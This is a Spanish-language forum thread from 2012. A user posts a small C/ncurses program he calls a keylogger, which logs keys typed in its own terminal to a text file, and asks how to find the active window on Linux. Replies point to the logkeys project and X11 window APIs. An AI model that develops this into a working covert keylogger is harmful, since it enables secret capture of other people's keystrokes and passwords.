GetForeGroundWindow linux.

Iniciado por 0xDani, 3 Junio 2012, 14:44 PM

0 Miembros y 1 Visitante están viendo este tema.

0xDani

Hola estoy haciendo un keylogger, que espero que sea multiplataforma, y ya tengo hecho el que coja las teclas y las mande a un archivo de texto, pero no se como coger el foco de la ventana activa. Se cual es la tipica funcion GetForeGroundWindow, pero estoy en ubuntu. ¿Alguien sabe cual es el equivalente de esto en linux?

Dejo lo que llevo por si a alguien le interesa:

#include <stdio.h>
#include <ncurses.h>

FILE* fichero;

int kbhit(void)
{
    int ch = getch();

    if (ch != ERR) {
        ungetch(ch);
        return 1;
    } else {
        return 0;
    }
}

int main() {
initscr();
noecho();
nodelay(stdscr, true);
fichero = fopen("string.txt","a");
while (1){
if (kbhit()){fputc(getch(),fichero); fflush(fichero);  }
refresh();
}
return 0; }



Y para compilar: g++ 'ruta/del/codigo/fuente' -o klg   -lncurses

Saludos y gracias de antemano ;D
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

Foxy Rider

#1
¿Y si mirás el código de logkeys? http://code.google.com/p/logkeys/
El input lo tenés en un dispositivo aparte y podés usar la API de Linux para eso.

Saludos.

P.S → Como nota aparte, obtener un handle del ID de ventana que está bajo el mouse podés hacerlo con la API de X.org ... pero no hay pasar por la API de Xorg !! :D el código de xwininfo es chiquitito y simple, ahí tenés un ejemplo por si te dá curiosidad

0xDani

#2
Gracias por la info, me mirare el codigo.

Saludos ;D

EDITO: He leido el codigo y he encontrado una funcion que creo que me puede ayudar, getpid(), incluida en unistd.h, y he leido que retorna el PID del proceso actual pero no se si es del mismo proceso que la llama o de la ventana activa.
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

Foxy Rider

Sobre getpid() → http://pubs.opengroup.org/onlinepubs/009695399/functions/getpid.html
Sobre obtener el PID desde un ID de X, es un temita por que el proceso puede correr de forma remota, incluso en una implementación que no tenga nociones de PID, pero podés probar suerte con XGetWindowProperty() y la propiedad NET_WM_PID

Saludos.

0xDani

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

0xDani

XGetSelectionOwner()? Estoy buscando informacion, pero esta todo en ingles y no llego a entender los pormenores(aunque en este caso son las cosas que vienen a ser importantes), de las funciones, ni de lo que es la "selection" aunque creo que es una propiedad que tiene la ventana activa.
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

Foxy Rider

Y seguís pensando que como se hacen las cosas en Windows, es como se hacen en *nix ...

0xDani

Es que esta muy mal la cosa, no hay manera de encontrar un keylogger basico que sirva de orientacion para *nix, y ademas era por hacer una pregunta mas concreta.
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM